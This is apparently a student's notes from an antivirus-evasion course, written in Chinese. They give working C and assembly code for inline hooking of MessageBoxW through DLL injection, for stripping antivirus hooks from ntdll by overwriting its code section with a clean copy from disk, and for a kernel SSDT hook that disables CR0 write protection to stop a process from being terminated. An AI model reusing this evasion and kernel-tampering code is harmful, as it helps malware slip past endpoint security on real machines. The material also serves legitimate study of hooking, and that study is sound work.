1.用户层 Inline Hook
x86两种方式
jmp
杀软常直接通过 jmp 来进行 hook,占 5 字节,但是需要进行计算,例:
0x12345678 - 0x00401625 = 11F44053(改变顺序为5340F411)
00401620 jmp 0x12354678 ; 硬编码E9 5340F411
00401625 ...
mov、jmp
不需要计算,但是占 7 字节,例:
mov eax,0x12345678 ; 硬编码B8 78563412
jmp eax ; 硬编码FFE0
x64
不能直接jmp,要用mov、jmp,占 12 字节
mov rax,0x1122334455667788 ; 硬编码48 B8 8877665544332211
jmp rax ; 硬编码FFE0
DLL注入hook
hook MessageBox 进入 MyMessageBox,例:
被注入的MessageBox.exe:
#include <iostream>
#include <windows.h>
int main() {
MessageBox(0, L"1", L"1", MB_OK); // 调用MessageBox
getchar(); // 进行DLL注入
MessageBox(0, L"1", L"1", MB_OK); // 调用MyMessageBox
MessageBox(0, L"1", L"1", MB_OK); // 调用MyMessageBox
return 0;
}
dllmain.cpp
#include "pch.h"
#include <windows.h>
#ifndef _WIN64 // x86.dll
BYTE OldCode[7] = { 0 };
BYTE NewCode[7] = { 0xB8, 0x0, 0x0, 0x0, 0x0, 0xFF, 0xE0 };
#else // x64.dll
BYTE OldCode[12] = { 0 };
BYTE NewCode[12] = { 0x48, 0xB8, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0xFF, 0xE0 };
#endif*/
HMODULE hModule_User32 = GetModuleHandle(L"user32.dll"); // 加载user32.dll
FARPROC MessageBoxAddress = GetProcAddress(hModule_User32, "MessageBoxW"); // 获取MessageBoxW地址,Unicode用W、Ascii用A
int WINAPI MyMessageBox(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType) { // 使用Windows API的调用约定(__stdcall)
#ifndef _WIN64 // x86.dll
RtlCopyMemory(MessageBoxAddress, OldCode, 7); // 改回原硬编码
MessageBox(0, L"2", L"2", MB_OK); // 修改弹框内容
RtlCopyMemory(MessageBoxAddress, NewCode, 7); // 改为新硬编码,用于下一次hook
#else // x64.dll
RtlCopyMemory(MessageBoxAddress, OldCode, 12);
MessageBox(0, L"2", L"2", MB_OK);
RtlCopyMemory(MessageBoxAddress, NewCode, 12);
#endif
return 0;
}
void InlineHook() { // 进行hook
#ifndef _WIN64 // x86.dll
RtlCopyMemory(OldCode, MessageBoxAddress, 7); // 获取原前7字节硬编码
DWORD jmpAddress = (DWORD)MyMessageBox; // 获取MyMessageBox地址
memcpy(&NewCode[1], &jmpAddress, 4); // 将MyMessageBox地址补充到新硬编码
DWORD oldProtection = NULL; // 用于接收修改前的访问权限
VirtualProtect(MessageBoxAddress, 7, PAGE_EXECUTE_READWRITE, &oldProtection); // MessageBox前 7 字节改为可对可写可执行
RtlCopyMemory(MessageBoxAddress, NewCode, 7); // 将前7字节硬编码改为新硬编码
#else // x64.dll
RtlCopyMemory(OldCode, MessageBoxAddress, 12);
ULONGLONG jmpAddress = (ULONGLONG)MyMessageBox;
memcpy(&NewCode[2], &jmpAddress, 8);
DWORD oldProtection = NULL;
VirtualProtect(MessageBoxAddress, 12, PAGE_EXECUTE_READWRITE, &oldProtection);
RtlCopyMemory(MessageBoxAddress, NewCode, 12);
#endif
}
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
InlineHook();
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
2.用户层 UnHook(x86)
大部分Windows API都会在ntdll找调用号进入内核,所以杀软3环钩子一般在ntdll
通过覆盖来清除杀软钩子(同理修改为user32.dll就可以去除上面x86的hook),例:
-
1.从磁盘加载干净的ntdll -
2.获取从内存加载的ntdll -
3.找到代码段进行覆盖
#include <iostream>
#include <windows.h>
#include <psapi.h>
VOID UnHookNtdll() {
// 从磁盘加载干净的ntdll
HANDLE ntdllFile = CreateFile(L"C:\windows\system32\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); // ntdll文件句柄
HANDLE ntdllMapping = CreateFileMapping(ntdllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL); // 将ntdll映射到进程内存
LPVOID ntdllMappingAddress = MapViewOfFile(ntdllMapping, FILE_MAP_READ, 0, 0, 0); // 指向起始地址的指针
CloseHandle(ntdllMapping); // 关闭句柄
CloseHandle(ntdllFile);
// 从内存加载的ntdll可能被杀软hook
HMODULE ntdllModule = GetModuleHandle(L"ntdll.dll"); // 加载ntdll
/*
* MODULEINFO结构体用于存储模块信息
* GetModuleInformation 是 Windows API,用于获取模块信息
* 参数1:进程句柄,HANDLE(-1)为当前进程句柄
* 参数2:模块句柄
* 参数3:MODULEINFO结构体的指针
* 参数4:MODULEINFO结构体大小
*/
MODULEINFO mi = {};
GetModuleInformation(HANDLE(-1), ntdllModule, &mi, sizeof(mi)); // 获取ntdll模块信息
LPVOID ntdllBase = (LPVOID)mi.lpBaseOfDll; // 获取ntdll基址
PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdllBase; // 获取DOS头
PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase + hookedDosHeader->e_lfanew); // 偏移到NT头
FreeLibrary(ntdllModule); // 释放DLL空间
for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) { // 遍历PE文件每个节(Section)(代码段、数据段等),WORD是因为NumberOfSections是16位无符号整数
/*
* IMAGE_FIRST_SECTION(hookedNtHeader)为第一个节的地址
* IMAGE_SIZEOF_SECTION_HEADER为一个节的大小
* DWORD_PTR为无符号整数,便于在指针加法中进行偏移量计算
* 加起来就是当前节
*/
PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));
if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text")) { // 是代码段
DWORD oldProtection = NULL; // 用于接收修改前的访问权限
// 代码段改为可读可写可执行权限
VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection);
// 用ntdll原本的代码段进行覆盖
memcpy((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), (LPVOID)((DWORD_PTR)ntdllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize);
// 代码段改回原权限
VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection);
}
}
}
int main() {
// InlineHook(); // 要将UnHookNtdll改为user32.dll
UnHookNtdll();
MessageBox(0, L"1", L"1", MB_OK);
return 0;
}
3.内核层 SSDT Hook
两种 hook 方式
1.在SSDT表找到真正地址并修改
2.在函数找SSDT表的路上jmp到新的SSDT表(360是这样的)
-
第一种
SSDT表的物理页是只读的,想修改SSDT表需要先对寄存器进行操作
1.通过对 CR4寄存器 操作将物理页改为可读可写
2.通过对 CR0寄存器 操作取消写保护
-
CR0寄存器(x86)
31 30 29 28 19 18 17 16 15 6 5 4 3 2 1 0 PG CD NW AM WP NE ET TS EM MP PE 将WP位从1改为0来关闭写保护
-
通过 SSDT Hook 保护进程
杀死进程一般先通过 ZwOpenProcess 打开进程然后通过 TerminateThread 杀死全部线程
可以通过将 ZwOpenProcess 的第二个参数改为0(访问权限为拒绝访问)来保护进程
x86.c,例:
#include <ntddk.h>
// 系统服务表
typedef struct _KSYSTEM_SERVICE_TABLE {
PULONG ServiceTableBase; // 指向当前内核函数地址(位于所有内核函数地址的数组中)
PULONG ServiceCounterTableBase; // 指向当前内核函数使用次数的地址(位于所有内核函数使用次数的数组中)
ULONG NumberOfService; // 所有内核函数个数
ULONG ParamTableBase; // 当前内核函数参数个数
} KSYSTEM_SERVICE_TABLE, * PKSYSTEM_SERVICE_TABLE;
// SSDT表(系统服务描述符表)
typedef struct _KSERVICE_TABLE_DESCRIPTOR {
KSYSTEM_SERVICE_TABLE ntoskrnl; // 内核模块的系统服务表
KSYSTEM_SERVICE_TABLE win32k; // 用户模块的系统服务表
KSYSTEM_SERVICE_TABLE notUsed2;
} KSERVICE_TABLE_DESCRIPTOR, * PKSERVICE_TABLE_DESCRIPTOR;
// 新函数
NTSTATUS NTAPI MyZwOpenProcess(PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId) {
ULONG PID = 7777; // 要保护的进程PID
if (ClientId->UniqueProcess == (HANDLE)PID) { // 被打开的进程为要保护的进程
DesiredAccess = 0; // 将该进程设为拒绝访问
}
//调用原函数,NtOpenProcess和ZwOpenProcess是同一个函数,用Nt是因为使用Native API更标准化,可以兼容版本
return NtOpenProcess(ProcessHandle, DesiredAccess, ObjectAttributes, ClientId);
}
// 关闭物理页写保护
void _declspec(naked) ShutPageProtect() {
__asm {
push eax;
mov eax, cr0;
and eax, ~0x10000; // ~0x100000为1110 1111 1111 1111 1111,然后进 与运算(和0运算为0,和一运算为1)
mov cr0, eax; // 将CR0的WP位改为0
pop eax;
ret;
}
}
// 开启物理页写保护
void _declspec(naked) OpenPageProtect() {
__asm {
push eax;
mov eax, cr0;
or eax, 0x10000; // 或运算
mov cr0, eax; // 将CR0的WP位改回0
pop eax;
ret;
}
}
ULONG uOldNtOpenProcess; // 原函数地址
extern PKSERVICE_TABLE_DESCRIPTOR KeServiceDescriptorTable; // extern表示要从别处获取定义,因为_KSERVICE_TABLE_DESCRIPTOR定义在内核
void HookNtOpenProcess() {
ShutPageProtect(); // 关闭物理页写保护
uOldNtOpenProcess = KeServiceDescriptorTable->ntoskrnl.ServiceTableBase[0x7a]; // 获取原函数地址
KeServiceDescriptorTable->ntoskrnl.ServiceTableBase[0x7a] = (ULONG)MyZwOpenProcess; // 修改SSDT表原函数地址为新函数地址
OpenPageProtect(); // 开启物理页写保护
}
void UnHookNtOpenProcess() {
ShutPageProtect(); // 关闭物理页写保护
KeServiceDescriptorTable->ntoskrnl.ServiceTableBase[0x7a] = uOldNtOpenProcess; // 将地址改回来
OpenPageProtect(); // 开启物理页写保护
}
void DriverUnload(DRIVER_OBJECT* obj) {
UnHookNtOpenProcess(); // 去掉钩子
}
NTSTATUS DriverEntry(DRIVER_OBJECT* driver, UNICODE_STRING* reg_path) {
HookNtOpenProcess(); //进行hook
driver->DriverUnload = DriverUnload;
return STATUS_SUCCESS;
}
本文为免杀三期学员笔记:https://www.cnblogs.com/LeiyNeKo/articles/17209827.html
课程链接如下
原文始发于微信公众号(红队蓝军):关于几种hook的探究